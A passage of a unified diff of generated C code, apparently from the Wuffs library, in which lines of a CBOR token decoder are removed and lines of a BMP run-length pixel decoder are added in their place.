uint8_t v_code = 0; ++ uint8_t v_indexes[2] = {0}; ++ uint32_t v_rle_state = 0; ++ uint32_t v_chunk_bits = 0; ++ uint32_t v_chunk_count = 0; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -32288,1231 +33059,590 @@ wuffs_cbor__decoder__decode_tokens( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_tokens[0]; +- if (coro_susp_point) { +- v_string_length = self->private_data.s_decode_tokens[0].v_string_length; +- v_depth = self->private_data.s_decode_tokens[0].v_depth; +- v_tagged = self->private_data.s_decode_tokens[0].v_tagged; +- v_indefinite_string_major_type = self->private_data.s_decode_tokens[0].v_indefinite_string_major_type; ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_end_of_data) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_rle_state = self->private_impl.f_rle_state; ++ label__outer__continue:; ++ while (true) { ++ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { ++ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); + } +- label__outer__continue:; ++ label__middle__continue:; + while (true) { ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i <= ((uint64_t)(v_row.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_row, v_i); ++ } else { ++ v_dst = wuffs_base__utility__empty_slice_u8(); ++ } + while (true) { +- do { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- goto label__outer__continue; ++ if (v_rle_state == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; + } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ if (v_code == 0u) { ++ v_rle_state = 2u; ++ continue; ++ } ++ self->private_impl.f_rle_length = ((uint32_t)(v_code)); ++ v_rle_state = 1u; ++ continue; ++ } else if (v_rle_state == 1u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; ++ } ++ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ if (self->private_impl.f_bits_per_pixel == 8u) { ++ v_p0 = 0u; ++ while (v_p0 < self->private_impl.f_rle_length) { ++ self->private_data.f_scratch[v_p0] = v_code; ++ v_p0 += 1u; ++ } ++ } else { ++ v_indexes[0u] = ((uint8_t)(((uint8_t)(v_code >> 4u)))); ++ v_indexes[1u] = ((uint8_t)(v_code & 15u)); ++ v_p0 = 0u; ++ while (v_p0 < self->private_impl.f_rle_length) { ++ self->private_data.f_scratch[(v_p0 + 0u)] = v_indexes[0u]; ++ self->private_data.f_scratch[(v_p0 + 1u)] = v_indexes[1u]; ++ v_p0 += 2u; ++ } ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_rle_length)); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, self->private_impl.f_rle_length); ++ v_rle_state = 0u; ++ goto label__middle__continue; ++ } else if (v_rle_state == 2u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; ++ } ++ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ if (v_code < 2u) { ++ if ((self->private_impl.f_dst_y >= self->private_impl.f_height) && (v_code == 0u)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); + goto exit; + } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, 18446744073709551615u); ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (v_code > 0u) { ++ goto label__outer__break; ++ } ++ v_rle_state = 0u; + goto label__outer__continue; ++ } else if (v_code == 2u) { ++ v_rle_state = 4u; ++ continue; + } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if ((v_indefinite_string_major_type != 0u) && (v_indefinite_string_major_type != (v_c >> 5u))) { +- if (v_c != 255u) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; ++ self->private_impl.f_rle_length = ((uint32_t)(v_code)); ++ self->private_impl.f_rle_padded = ((self->private_impl.f_bits_per_pixel == 8u) && (((uint8_t)(v_code & 1u)) != 0u)); ++ v_rle_state = 3u; ++ continue; ++ } else if (v_rle_state == 3u) { ++ if (self->private_impl.f_bits_per_pixel == 8u) { ++ v_n = wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( ++ &self->private_impl.f_swizzler, ++ self->private_impl.f_rle_length, ++ v_dst, ++ v_dst_palette, ++ &iop_a_src, ++ io2_a_src); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_rle_length, ((uint32_t)(v_n))); ++ } else { ++ v_chunk_count = ((self->private_impl.f_rle_length + 3u) / 4u); ++ v_p0 = 0u; ++ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 2u)) { ++ v_chunk_bits = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); ++ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); ++ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); ++ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); ++ v_p0 = ((v_p0 & 255u) + 4u); ++ v_chunk_count -= 1u; + } +- v_vminor = 4194560u; +- if (v_indefinite_string_major_type == 3u) { +- v_vminor |= 19u; ++ v_p0 = wuffs_base__u32__min(v_p0, self->private_impl.f_rle_length); ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, v_p0); ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_rle_length, v_p0); ++ } ++ if (self->private_impl.f_rle_length > 0u) { ++ break; ++ } ++ if (self->private_impl.f_rle_padded) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; + } +- v_indefinite_string_major_type = 0u; + iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; ++ self->private_impl.f_rle_padded = false; ++ } ++ v_rle_state = 0u; ++ goto label__middle__continue; ++ } else if (v_rle_state == 4u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; + } ++ self->private_impl.f_rle_delta_x = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); + iop_a_src += 1u; +- v_c_major = ((uint8_t)((v_c >> 5u))); +- v_c_minor = (v_c & 31u); +- if (v_c_minor < 24u) { +- v_string_length = ((uint64_t)(v_c_minor)); +- } else { +- while (true) { +- if (v_c_minor == 24u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 1u) { +- v_string_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); +- iop_a_src += 1u; +- break; +- } +- } else if (v_c_minor == 25u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 2u) { +- v_string_length = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- break; +- } +- } else if (v_c_minor == 26u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { +- v_string_length = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4u; +- break; +- } +- } else if (v_c_minor == 27u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 8u) { +- v_string_length = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); +- iop_a_src += 8u; +- break; +- } +- } else { +- v_string_length = 0u; +- break; +- } +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- goto label__outer__continue; +- } +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); +- goto exit; +- } ++ v_rle_state = 5u; ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; ++ } ++ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ if (self->private_impl.f_rle_delta_x > 0u) { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, ((uint64_t)(self->private_impl.f_rle_delta_x))); ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(self->private_impl.f_rle_delta_x))); ++ self->private_impl.f_rle_delta_x = 0u; ++ if (self->private_impl.f_dst_x > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); ++ goto exit; + } +- if (v_c_major == 0u) { +- if (v_c_minor < 26u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((14680064u | ((uint32_t)((v_string_length & 65535u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor < 28u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((14680064u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- *iop_a_dst++ = wuffs_base__make_token( +- (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- } else if (v_c_major == 1u) { +- if (v_c_minor < 26u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length & 65535u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor < 28u) { +- if (v_string_length < 9223372036854775808u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length >> 46u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- *iop_a_dst++ = wuffs_base__make_token( +- (~((18446744073709551615u - v_string_length) & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } else { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)(16777216u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- goto label__goto_parsed_a_leaf_value__break; +- } +- } else if (v_c_major == 2u) { +- if (v_c_minor < 28u) { +- if (v_string_length == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } else if (v_c_minor == 31u) { +- if (v_indefinite_string_major_type != 0u) { +- break; +- } +- v_indefinite_string_major_type = 2u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__outer__continue; +- } else { +- break; +- } +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- continue; +- } +- v_n64 = wuffs_base__u64__min(v_string_length, ((uint64_t)(io2_a_src - iop_a_src))); +- v_token_length = ((uint32_t)((v_n64 & 65535u))); +- if (v_n64 > 65535u) { +- v_token_length = 65535u; +- } else if (v_token_length <= 0u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); +- goto exit; +- } +- v_string_length -= ((uint64_t)(v_token_length)); +- v_continued = 0u; +- if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { +- v_continued = 1u; +- } +- iop_a_src += v_token_length; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194816u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_string_length > 0u) { +- continue; +- } else if (v_indefinite_string_major_type > 0u) { +- goto label__outer__continue; +- } +- goto label__goto_parsed_a_leaf_value__break; +- } +- } else if (v_c_major == 3u) { +- if (v_c_minor < 28u) { +- if (v_string_length == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } else if (v_c_minor == 31u) { +- if (v_indefinite_string_major_type != 0u) { +- break; +- } +- v_indefinite_string_major_type = 3u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__outer__continue; +- } else { +- break; +- } +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- continue; +- } +- v_n64 = wuffs_base__u64__min(v_string_length, 65535u); +- v_n64 = ((uint64_t)(wuffs_base__utf_8__longest_valid_prefix(iop_a_src, +- ((size_t)(wuffs_base__u64__min(((uint64_t)(io2_a_src - iop_a_src)), v_n64)))))); +- v_token_length = ((uint32_t)((v_n64 & 65535u))); +- if (v_token_length <= 0u) { +- if ((a_src && a_src->meta.closed) || (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); +- goto exit; +- } +- v_string_length -= ((uint64_t)(v_token_length)); +- v_continued = 0u; +- if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { +- v_continued = 1u; +- } +- iop_a_src += v_token_length; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_string_length > 0u) { +- continue; +- } else if (v_indefinite_string_major_type > 0u) { +- goto label__outer__continue; +- } +- goto label__goto_parsed_a_leaf_value__break; +- } +- } else if (v_c_major == 4u) { +- if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { +- break; +- } else if (v_depth >= 1024u) { +- v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); +- while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { +- iop_a_src--; +- v_token_length -= 1u; +- } +- status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); +- goto exit; +- } +- v_vminor = 2105361u; +- v_vminor_alt = 2101282u; +- if (v_depth > 0u) { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor = 2105377u; +- v_vminor_alt = 2105378u; +- } else { +- v_vminor = 2105409u; +- v_vminor_alt = 2113570u; +- } +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_c_minor == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- v_stack_byte = (v_depth / 16u); +- v_stack_bit = ((v_depth & 15u) * 2u); +- self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(3u)) << v_stack_bit)); +- self->private_data.f_container_num_remaining[v_depth] = v_string_length; +- v_depth += 1u; +- v_tagged = false; +- goto label__outer__continue; +- } else if (v_c_major == 5u) { +- if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { +- break; +- } else if (v_depth >= 1024u) { +- v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); +- while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { +- iop_a_src--; +- v_token_length -= 1u; +- } +- status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); ++ } ++ if (v_code > 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_code -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ while (true) { ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); + goto exit; + } +- v_vminor = 2113553u; +- v_vminor_alt = 2101314u; +- if (v_depth > 0u) { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor = 2113569u; +- v_vminor_alt = 2105410u; +- } else { +- v_vminor = 2113601u; +- v_vminor_alt = 2113602u; +- } +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_c_minor == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; ++ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { ++ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); + } +- v_stack_byte = (v_depth / 16u); +- v_stack_bit = ((v_depth & 15u) * 2u); +- self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(3u)) << v_stack_bit); +- self->private_data.f_container_num_remaining[v_depth] = v_string_length; +- v_depth += 1u; +- v_tagged = false; +- goto label__outer__continue; +- } else if (v_c_major == 6u) { +- if (v_c_minor >= 28u) { ++ if (v_code <= 0u) { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, ((uint64_t)(self->private_impl.f_dst_x))); + break; + } +- if (v_string_length < 262144u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)((4194304u | ((uint32_t)(v_string_length))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } else { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)((4194304u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- *iop_a_dst++ = wuffs_base__make_token( +- (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- v_tagged = true; +- goto label__outer__continue; +- } else if (v_c_major == 7u) { +- if (v_c_minor < 20u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor < 24u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(WUFFS_CBOR__LITERALS[(v_c_minor & 3u)])) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor == 24u) { +- if (v_string_length < 24u) { +- if ( ! (iop_a_src > io1_a_src)) { +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src--; +- break; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | +- (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor < 28u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(10490113u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } else if (v_c_minor == 31u) { +- if (v_tagged || (v_depth <= 0u)) { +- break; +- } +- v_depth -= 1u; +- if (self->private_data.f_container_num_remaining[v_depth] != 0u) { +- break; +- } +- v_stack_byte = (v_depth / 16u); +- v_stack_bit = ((v_depth & 15u) * 2u); +- v_stack_val = (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit)); +- if (v_stack_val == 1u) { +- break; +- } +- if (v_stack_val != 3u) { +- v_vminor_alt = 2097186u; +- } else { +- v_vminor_alt = 2097218u; +- } +- if (v_depth <= 0u) 